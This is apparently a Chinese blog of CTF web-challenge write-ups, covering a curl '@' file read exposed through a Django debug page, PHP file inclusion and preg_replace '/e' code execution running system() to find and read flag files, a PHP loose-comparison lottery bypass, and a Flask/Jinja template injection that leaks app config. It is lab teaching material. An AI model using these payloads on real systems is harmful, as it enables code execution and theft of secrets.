CTF-web刷题

Cat

首先打开题目环境,发现是如下的输入框

image-20240926170250004

尝试输入127.0.0.1,回显如下

image-20240926170346815

发现是get传参,输入ip后会ping一下

最开始以为是ssrf相关漏洞,尝试后发现并不是,那么应该就是跟ping相关的了

输入:127.0.0.1;ls,结果回显Invalid URL

那应该就是有字符过滤的了,掏出sqli_fuzz字典开始fuzz

结果发现当输入%a0的时候页面会直接会显出代码

image-20240926170859934

一个html文件,将其代码复制后再打开

image-20240926171049003

用游览器打开以后最底下可以看到一串提示:You’re seeing this error because you have DEBUG = True in your Django settings file. Change that to False, and Django will display a standard page generated by the handler for this status code.

也就是说,True in your Django settings file.有可能flag文件在 settings file 中。
关键词搜索flag无果,查找数据库

image-20240926171214505

将这个链接直接复制到输入框中,回车,无果

搜索一番,还是没有发现,只能去看其他大佬的文档,发现了@有关,php中curl函数@的作用PHP中curl的CURLOPT_POSTFIELDS参数使用细节 - 52php - 博客园

1
使用数组提供 post 数据时,CURL 组件大概是为了兼容 @filename 这种上传文件的写法,默认把 content_type 设为了 multipart/form-data。虽然对于大多数服务器并没有影响,但是还是有少部分服务器不兼容。

所以我们在该链接之前加个@,回显如下

image-20240926171733832

关键词搜索ctf,得到flag,题目解决

ics-05

打开环境,进入之后到处点击发现只有设备维护中心可以点进去,并且当我们再次点击该标题的时候url发生了改变

image-20241014210605634

可以发现page的参数会回显回来,当我们输入index.php的时候回显ok

那么让我们来尝试读取一下该文件:/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

将回显的一大串base64编码后的数据复制解码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>
<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;

table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备名', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状态', minWidth: 120, sort: true },
{ field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>

<?php

$page = $_GET[page];

if (isset($page)) {

if (ctype_alnum($page)) {
?>

<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />

<?php

}else{

?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php

if (strpos($page, 'input') > 0) {
die();
}

if (strpos($page, 'ta:text') > 0) {
die();
}

if (strpos($page, 'text') > 0) {
die();
}

if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />

<?php
}}

//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}

?>
</body>
</html>

很明显上面这么多的代码重点就在于最后的preg_replace函数这里,所以上网搜了搜有没有相关的漏洞:https://www.sqlsec.com/2020/07/preg_replace.html#%E5%9C%BA%E6%99%AF1-%E6%97%A0%E9%99%90%E5%88%B6%E4%BC%A0%E5%8F%82

发现我们可以利用修饰符/e来进行代码执行

/index.php?pat=/233/e&rep=phpinfo()&sub=233

image-20241014212343256

成功执行

执行寻找相关flag文件的代码:/index.php?pat=/233/e&rep=system('find / -name "flag"')&sub=233

image-20241014212654808

找到的是个目录,下面还有文件

读取我们所需的flag文件:/index.php?pat=/233/e&rep=system('tac /var/www/html/s3chahahaDir/flag/flag.php')&sub=233

Lottery

进入环境后可以发现该题是通过猜数字来获得奖金,攒够奖金后再用钱去购买flag

当然单纯靠玩是肯定拿不到那么多钱的,所以我们就必须看看是猜数字部分存在漏洞还是购买部分存在漏洞

题目给了附件,我们先去审计一下代码

可以发现相关的比较重要的文件就只有一个api.php

通过审计该文件可以发现玩家的金钱数量是存在session中的,无法直接更改,而购买flag的代码也没任何漏洞

image-20241018153636997

我们再转去看函数buy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function buy($req){
require_registered();
require_min_money(2);

$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

可以看出来该部分验证猜测数字是否正确用的是弱比较,而这是存在着漏洞的

===比较两个变量的值和类型;==比较两个变量的值,不比较数据类型。

在php中,如果bool和”任何其他类型”比较,”任何其他类型”会转换为bool。

在PHP中当转换为 boolean 时,以下值被认为是 FALSE :
(1) 布尔值 FALSE 本身
(2) 整型值 0(零)
(3)浮点型值 0.0(零)
(4)空字符串,以及字符串 “0”
(5)不包括任何元素的数组(注意,一旦包含元素,就算包含的元素只是一个空数组,也是true)
(6)不包括任何成员变量的对象(仅 PHP 4.0 适用)
(7)特殊类型 NULL(包括尚未赋值的变量)
(8)从空标记生成的 SimpleXML 对象
(9)所有其它值包括-1都被认为是 TRUE (包括任何资源)
所以我们只要拦截相对应的响应包,更改上传的json数据即可,如下

image-20241018154015215

这样子发送两次我们便有足够的钱来购买flag了,题目解决

shrine

直接访问,给出源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import flask
import os

# 创建 Flask 应用实例
app = flask.Flask(__name__)

# 从环境变量中获取 FLAG,并从环境变量中删除它
app.config['FLAG'] = os.environ.pop('FLAG')

# 首页路由:返回当前文件的源代码
@app.route('/')
def index():
with open(__file__) as f:
return f.read()

# shrine 路由:根据用户传入的字符串动态生成模板
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s: str) -> str:
"""对输入字符串进行简单过滤以防止模板注入攻击。"""
s = s.replace('(', '').replace(')', '') # 移除括号
blacklist = ['config', 'self'] # 禁用关键字
# 使用 Jinja 语法将黑名单变量设置为 None
return ''.join([f'{{% set {c} = None %}}' for c in blacklist]) + s

# 渲染过滤后的模板
return flask.render_template_string(safe_jinja(shrine))

# 启动 Flask 开发服务器
if __name__ == '__main__':
app.run(debug=True)

源码中app.config['FLAG'] = os.environ.pop('FLAG')提示flag在配置文件中,但有WAF;题目仍旧是flask框架,主要考点在shrine的限制函数,过滤了括号,还有黑名单

config没有过滤的情况下,可以直接传入config获取设置信息;如果configban,还可以使用self.dict获取信息;但现在二者都被ban掉了,这个时候为获取信息, 仍需要用到一些变量或者函数,但是此时还过滤了括号,所以只能选在使用内置函数进行查询。

在带佬的wp引领下了解到python有两个此处可用的内置函数:url_forget_flashed_message通过这两个函数,来查询现在app内的全局变量。(get_flashed_messages函数返回之前在Flask中通过flash()传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages()方法取出,闪现信息只能取出一次,取出后闪现信息会被清空。)

1
2
3
4
5
6
7
8
#http://192.168.32.138:65535/shrine/{{url_for.__globals__}}
#http://192.168.32.138:65535/shrine/{{get_flashed_messages.__globals__}}
{'find_package': <function find_package at 0x7feca7eea140>,
'_find_package_path': <function _find_package_path at 0x7feca7eea0c8>,
'get_load_dotenv': <function get_load_dotenv at 0x7feca7ee2a28>,
'_PackageBoundObject': <class 'flask.helpers._PackageBoundObject'>,
'current_app': <Flask 'app'>,
......

在第五行看到current_app变量,且提示对应的就是当前app,查看当前config试试

1
2
3
4
5
6
#http://192.168.32.138:65535/shrine/{{url_for.__globals__['current_app'].config}}
#http://192.168.32.138:65535/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
<Config {
......
'FLAG': 'flag{Tr0jAn_V1rU4}',
......}>